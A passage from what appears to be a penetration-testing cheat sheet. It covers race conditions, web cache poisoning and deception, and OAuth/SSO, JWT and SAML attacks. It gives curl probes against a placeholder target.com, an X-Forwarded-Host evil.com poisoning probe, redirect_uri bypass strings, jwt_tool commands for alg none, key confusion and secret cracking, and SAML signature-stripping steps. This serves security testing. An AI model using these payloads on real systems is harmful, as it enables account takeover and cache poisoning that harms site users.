• File upload scan-then-serve TOCTOU
• Account deletion vs. feature-use race → keep premium features
• Balance transfer double-spend between two endpoints
• Vote/like/count increments raced for unlimited votes

Cache poisoning poisons one stored response served to every user; cache deception leaks private pages. Map the cache key, find unkeyed inputs that reach the response, and hunt normalization mismatches between CDN and origin.

# detect cache: look for X-Cache / Age / CF-Cache-Status headers
curl -sI https://target.com/ | grep -iE "x-cache|age:|cf-cache-status|via:|x-cache-hits"

# unkeyed header probe — request twice, poison once, observe victims
curl -s "https://target.com/" -H "X-Forwarded-Host: evil.com" -D - -o /dev/null

# cache deception — request a private page with a cacheable extension
curl -s "https://target.com/account/settings%2f..%2f%2f.css" -D - | head -20

# normalization confusion
curl -s "https://target.com/account/settings/" | grep -c "Account"
curl -s "https://target.com/account%2fsettings" | grep -c "Account"

• Identify cache layer (headers, CDN provider, Varnish/Cloudflare/Akamai)
• Unkeyed headers reflected into cached response (X-Forwarded-Host, X-Forwarded-Scheme)
• Reflected content (query, path, header) combined with caching → stored XSS
• Cache key ignores params/headers that the app uses (selector poisoning)
• Cache deception: private page with cacheable extension/trailing chars
• Path normalization mismatch: CDN vs origin (%2f, .., unicode, semicolon)
• Authenticated pages cached (stale auth pages served to anonymous users)
• Cacheable 301/302 redirects poisoned to attacker domain
• JSONP/CORS endpoints cached and injectable
• Cache key oracle: detect which headers/params are in the key
• Unkeyed cookie segments or client-side split via param miner

Enterprise apps centralize auth in SSO — one broken redirect_uri, state, SAML assertion or JWT flaw = account takeover. Test the full flow: authorization, callback, token validation, session handling, and the identity provider integration itself.

# OAuth flow: capture the full redirect chain, then mutate
#   1. redirect_uri: add path, subdomain, port, encoded chars
#      https://app.com/callback → https://app.com/callback/evil
#      https://app.com/attacker@evil.com  /  https://evil.com/?x=https://app.com
#   2. remove or reuse the state parameter
#   3. swap response_type code ↔ token, replay codes between clients

# JWT attack arsenal
python3 jwt_tool.py <token> -X a   # alg none
python3 jwt_tool.py <token> -X k -pk public.pem   # key confusion
python3 jwt_tool.py <token> -C -d /root/wordlists/rockyou.txt   # weak secret

# SAML: capture the assertion in Burp, then:
#   - strip the Signature element (see if unsigned is accepted)
#   - tamper email/role/uid inside the Assertion
#   - replay the full SAMLResponse

• redirect_uri bypass: path, port, subdomain, @, backslash, double-encode
• state / nonce missing or not validated (login CSRF, code injection)
• Authorization code replay between clients / reuse after exchange
• Code/token leak via Referer, logs, or third-party JS in callback page
• Token in URL fragment accessible to XSS / history
• Scope escalation: request privileged scopes, weak consent checks
• JWT: alg none, RS256→HS256 key confusion, weak secret, missing exp
• SAML: signature stripping / wrapping, unsigned assertion accepted, tamper uid/email/role
• RelayState tampering → open redirect on IdP
• Session fixation / logout not clearing IdP or SP sessions fully
• User/email enumeration at the SSO login endpoint
• Tenant/issuer confusion: register attacker email at same domain